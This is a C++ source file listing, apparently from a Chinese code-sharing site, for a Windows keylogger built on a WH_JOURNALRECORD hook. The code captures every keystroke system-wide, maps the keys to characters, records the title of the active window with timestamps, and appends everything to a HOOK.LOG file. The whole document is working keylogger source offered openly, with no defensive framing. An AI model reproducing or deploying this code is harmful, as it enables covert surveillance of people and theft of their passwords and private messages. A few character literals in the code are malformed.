KeyLog.cpp
上传用户:aorui801
上传日期:2022-07-20
资源大小:201k
文件大小:9k
源码类别:

Shell编程

开发平台:

Visual C++

  1. //---------------------------------------------------------------------------
  2. #include <vcl.h>
  3. #pragma hdrstop
  4. #include "KeyLog.h"
  5. //---------------------------------------------------------------------------
  6. #pragma package(smart_init)
  7. HWND    g_hWnd          = NULL;         //接收窗口
  8. HHOOK   g_hLogHook      = NULL;         //钩子变量
  9. HWND    g_hLastFocus    = NULL;         //记录上一次得到焦点的窗口句柄
  10. const int KeyPressMask  = 0x80000000;   //键盘掩码常量
  11. char    g_PrvChar;                      //保存上一次按键值
  12. TStringList *HookList;                  //
  13. //安装日志钩子
  14. void InstallHook(HWND hWnd)
  15. {
  16.         if(g_hLogHook==NULL)
  17.         {
  18.                 g_hLogHook = SetWindowsHookEx(WH_JOURNALRECORD,
  19.                                              (HOOKPROC)JournalLogProc,
  20.                                              HInstance,0);
  21.                 if( g_hLogHook)
  22.                 {
  23.                         HookList = new TStringList;
  24.                 }
  25.         }
  26.         g_hWnd = hWnd;
  27. }
  28. //卸载日志钩子
  29. void UnInstallHook(void)
  30. {
  31.         if(g_hLogHook != NULL)
  32.         {
  33.                 UnhookWindowsHookEx(g_hLogHook);
  34.                 g_hLogHook=NULL;
  35.                 delete HookList;
  36.                 HookList = NULL;
  37.         }
  38. }
  39. void SaveHookLog(AnsiString Log)
  40. {
  41.         unsigned long Size;
  42.         Size = HookList->Text.Length() + Log.Length();
  43.         if( Size >= 64 * 1024)
  44.         {
  45.                 TFileStream *LogFile;
  46.                 if(FileExists("HOOK.LOG"))
  47.                 {
  48.                         LogFile = new TFileStream("HOOK.LOG",fmOpenWrite);
  49.                 }
  50.                 else
  51.                 {
  52.                         LogFile = new TFileStream("HOOK.LOG",fmCreate);
  53.                 }
  54.                 LogFile->Seek(0,soFromEnd);
  55.                 HookList->SaveToStream(LogFile);
  56.                 LogFile->Free();
  57.                 HookList->Clear();
  58.         }
  59.         SendMessage(g_hWnd,WM_KEYLOG,0,0);
  60.         HookList->Add(Log);
  61. }
  62. //日志钩子回调函数
  63. HOOKPROC JournalLogProc(int iCode,WPARAM wParam, LPARAM lParam)
  64. {
  65.         if (iCode< 0 )
  66.                 return (HOOKPROC)CallNextHookEx(g_hLogHook,iCode,wParam,lParam);
  67.         if (iCode == HC_ACTION)
  68.         {
  69.                 EVENTMSG *pEvt=(EVENTMSG *)lParam;
  70.                 int i;
  71.                 HWND hFocus;            //保存当前活动窗口句柄
  72.                 char szTitle[256];      //当前窗口名称
  73.                 char szTime[128];       //保存当前的日期和时间
  74.                 if (pEvt->message == WM_KEYDOWN)
  75.                 {
  76.                         int vKey = LOBYTE(pEvt->paramL);  // 取得虚拟键值
  77.                         char ch;
  78.                         char str[10];
  79.                         //取得当前活动窗口句柄
  80.                         hFocus = GetActiveWindow();
  81.                         if(g_hLastFocus != hFocus)        //当前活动窗口是否改变
  82.                         {
  83.                                 GetWindowText(hFocus,szTitle,256);
  84.                                 g_hLastFocus = hFocus;
  85.                                 strcpy(szTime,DateTimeToStr(Now()).c_str());  //得到当前的日期时间
  86.                                 SaveHookLog(AnsiString(szTime) + " 当前活动窗口改变为:  " + szTitle);
  87.                         }
  88.                         int iShift   = GetKeyState(0x10);
  89.                         //测试SHIFT,CAPTION,NUMLOCK等键是否按下
  90.                         int iCapital = GetKeyState(0x14);
  91.                         int iNumLock = GetKeyState(0x90);
  92.                         bool bShift  = (iShift & KeyPressMask)==KeyPressMask;
  93.                         bool bCapital= (iCapital & 1)==1;
  94.                         bool bNumLock= (iNumLock & 1)==1;
  95.                         if (vKey >= 48 && vKey <= 57) // 数字0-9
  96.                         {
  97.                                 if (!bShift)
  98.                                 {
  99.                                         SaveHookLog( (char)('0' + vKey - 48));
  100.                                 }
  101.                         }
  102.                         if (vKey >= 65 && vKey <= 90) // A-Z (a-z)
  103.                         {
  104.                                 if (!bCapital)
  105.                                 {
  106.                                         if (bShift) ch=vKey;
  107.                                         else        ch=vKey + 32;
  108.                                 }
  109.                                 else
  110.                                 {
  111.                                         if (bShift) ch=vKey + 32;
  112.                                         else        ch=vKey;
  113.                                 }
  114.                                 SaveHookLog(ch);
  115.                         }
  116.                         if (vKey >=96 && vKey <=105)         // 小键盘0-9
  117.                         {
  118.                                 if (bNumLock)
  119.                                 {
  120.                                         SaveHookLog((char)('0' + vKey - 96));
  121.                                 }
  122.                         }
  123.                         if (vKey>=186 && vKey<=222)         // 其他键
  124.                         {
  125.                                 switch (vKey)
  126.                                 {
  127.                                         case 186:if (!bShift) ch=';'; else ch=':'; break;
  128.                                         case 187:if (!bShift) ch='='; else ch='+'; break;
  129.                                         case 188:if (!bShift) ch=','; else ch='<'; break;
  130.                                         case 189:if (!bShift) ch='-'; else ch='_'; break;
  131.                                         case 190:if (!bShift) ch='.'; else ch=' >';break;
  132.                                         case 191:if (!bShift) ch='/'; else ch='?'; break;
  133.                                         case 192:if (!bShift) ch='`'; else ch='~'; break;
  134.                                         case 219:if (!bShift) ch='['; else ch='{'; break;
  135.                                         case 220:if (!bShift) ch='\';else ch='|'; break;
  136.                                         case 221:if (!bShift) ch=']'; else ch='}'; break;
  137.                                         case 222:if (!bShift) ch=''';else ch='"';break;
  138.                                         default:              ch='n'; break;
  139.                                 }
  140.                                 if (ch!='n')
  141.                                 {
  142.                                         SaveHookLog( ch );
  143.                                 }
  144.                         }
  145.                         if (wParam >= 112 && wParam <= 123) // 功能键   [F1]-[F12]
  146.                         {
  147.                                 str[0] = 'F';
  148.                                 str[1] = '1' + (wParam - 112);
  149.                                 str[2] = '';
  150.                                 SaveHookLog(str);
  151.                         }
  152.                         if (vKey >=8 && vKey <=46)   //方向键
  153.                         {
  154.                                 switch (vKey)
  155.                                 {
  156.                                         case 8: strcpy(str,"[BACK]");   break;
  157.                                         case 9: strcpy(str,"[TAB]");    break;
  158.                                         case 13:strcpy(str,"[ENTER]");  break;
  159.                                         case 32:strcpy(str,"[SPACE]");  break;
  160.                                         case 33:strcpy(str,"[PAGEUP]"); break;
  161.                                         case 34:strcpy(str,"[PAGEDOWN]"); break;
  162.                                         case 35:strcpy(str,"[END]");    break;
  163.                                         case 36:strcpy(str,"[HOME]");   break;
  164.                                         case 37:strcpy(str,"[LEFT]");   break;
  165.                                         case 38:strcpy(str,"[UP]");     break;
  166.                                         case 39:strcpy(str,"[RIGH]");   break;
  167.                                         case 40:strcpy(str,"[DOWN]");   break;
  168.                                         case 45:strcpy(str,"[INS]");    break;
  169.                                         case 46:strcpy(str,"[DEL]");    break;
  170.                                         default:ch = 'n';break;
  171.                                 }
  172.                                 if (ch!='n')
  173.                                 {
  174.                                         if (g_PrvChar != vKey)
  175.                                         {
  176.                                                 SaveHookLog(str);
  177.                                                 g_PrvChar = vKey;
  178.                                         }
  179.                                 }//endif
  180.                         }//endif
  181.                 }//endif
  182.                 if(pEvt->message==WM_LBUTTONDOWN || pEvt->message ==WM_RBUTTONDOWN)
  183.                 {
  184.                         hFocus=GetActiveWindow();
  185.                         if (g_hLastFocus!=hFocus)
  186.                         {
  187.                                 g_hLastFocus=hFocus;
  188.                                 GetWindowText(hFocus,szTitle,256);
  189.                                 strcpy(szTime,DateTimeToStr(Now()).c_str());
  190.                                 SaveHookLog(AnsiString(szTime) + " 激活窗口 -> " + szTitle);
  191.                         }
  192.                 }//endif
  193.         }//endif
  194.         return (HOOKPROC)CallNextHookEx(g_hLogHook,iCode,wParam,lParam);
  195. }